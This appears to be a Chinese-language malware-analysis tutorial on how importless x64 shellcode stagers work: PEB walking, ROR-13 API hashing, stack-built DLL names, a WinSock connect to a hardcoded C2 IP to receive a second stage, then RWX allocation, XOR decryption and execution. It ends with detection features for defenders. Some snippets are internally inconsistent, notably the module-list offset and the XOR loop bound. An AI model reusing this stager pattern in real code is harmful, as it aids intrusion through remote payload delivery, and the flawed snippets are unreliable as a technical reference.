无导入表 Shellcode 的核心思路
普通 PE 文件有导入地址表(IAT),链接器在加载时帮你填好函数地址。Shellcode 注入到任意内存后没有这张表,需要在运行时自己找函数地址。经典方案:
gs:[60h] → PEB → InMemoryOrderModuleList → kernel32 基址
↓
遍历导出表(Export Directory)
↓
对每个函数名计算哈希,与目标哈希比较
↓
找到后读 AddressOfFunctions 得到实际地址
读 PEB 找 kernel32
x64 上 PEB 地址固定在 gs:[60h]:
mov rax, gs:[60h] ; rax = PEB
mov rax, [rax+18h] ; rax = PEB_LDR_DATA
mov rax, [rax+10h] ; rax = InLoadOrderModuleList.Flink
; 第三个模块通常是 kernel32.dll
对应 C 结构:
PEB → PEB_LDR_DATA
PEB_LDR_DATA → InMemoryOrderModuleList
(index 0: ntdll, index 1: kernel32)
导出表哈希匹配
Shellcode 不存储函数名字符串,而是存预计算好的哈希值,避免明文暴露。常见算法(ROR-13 变体):
def ror13_hash(name: bytes) -> int:
h = 0
for c in name:
h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF
h = (h + c) & 0xFFFFFFFF
return h
Shellcode 中看到的调用模式:
mov ecx, 0726774Ch ; LoadLibraryA 的预计算哈希
call resolve_api ; 通用 API 解析函数,返回地址在 rax
resolve_api 函数做以下事情:
1. 遍历 InMemoryOrderModuleList
2. 对每个模块读 Export Directory
3. 遍历 AddressOfNames,计算每个函数名的哈希
4. 哈希匹配时:
AddressOfNameOrdinals[i] → ordinal
AddressOfFunctions[ordinal] → RVA → 实际地址
动态加载 DLL
找到 LoadLibraryA 后,用栈上逐字节写入的字符串加载目标库,避免字符串明文出现在数据段:
; 构造 "user32.dll" 字符串
mov dword ptr [rbp-70h], 'resu' ; "user"
mov dword ptr [rbp-6Ch], 'd.23' ; "32.d"
mov dword ptr [rbp-68h], 'll' ; "ll"
mov byte ptr [rbp-66h], 0 ; null terminator
lea rcx, [rbp-70h]
call rbx ; LoadLibraryA("user32.dll")
同样方式加载 ws2_32.dll、msvcrt.dll。
网络反连结构
加载 ws2_32 后按标准顺序调用 WinSock API:
; 初始化 WinSock
mov ecx, 202h ; wVersionRequested = 2.2
call WSAStartup
; 创建 socket
; socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6)
call socket
; 填充 sockaddr_in,IP 写入栈上
; 102.217.197.174:port(字节倒序写入)
call connect
; 接收第二阶段 payload
call recv
C2 IP 以字节方式分散写入栈帧,IDA/Ghidra 不会自动识别为字符串,需手动组合。
VirtualAlloc + XOR 解密执行
接收到加密 payload 后:
; 申请可执行内存
mov ecx, <payload_size>
xor r8d, r8d
mov r9d, 40h ; PAGE_EXECUTE_READWRITE
call VirtualAlloc
; XOR 解密循环
.loop:
xor byte ptr [rcx+rdi], 99h ; key = 0x99
inc rdi
cmp rdi, rcx
jl .loop
; 跳转执行
call rax
整体执行流程
gs:[60h] → PEB
↓
遍历模块链 → kernel32 基址
↓
导出表哈希解析 → GetProcAddress / LoadLibraryA
↓
LoadLibraryA("ws2_32.dll")
LoadLibraryA("user32.dll")
↓
WSAStartup → socket → connect(C2)
↓
recv(encrypted_payload)
↓
VirtualAlloc(RWX)
↓
XOR 解密
↓
执行第二阶段 payload
这种结构是 Cobalt Strike Beacon、Meterpreter stager 等红队工具的标准 stager 模式。理解它有助于防御侧在内存中识别 shellcode 特征、提取 C2 地址。
快速识别特征
| 特征 | 含义 |
|---|---|
gs:[60h] 读取 | 读 PEB,无导入表 shellcode 标志 |
mov ecx, <4字节哈希>; call fn | 哈希解析 API 调用模式 |
| 栈上逐字节写字符串 | 隐藏 DLL 名称 |
VirtualAlloc + PAGE_EXECUTE_READWRITE | 申请可执行内存准备执行 payload |
| 循环 XOR | 解密第二阶段 shellcode |
实际分析时,先定位 resolve_api 函数,把所有哈希值批量还原成函数名,再按调用顺序梳理业务逻辑,速度会快很多。
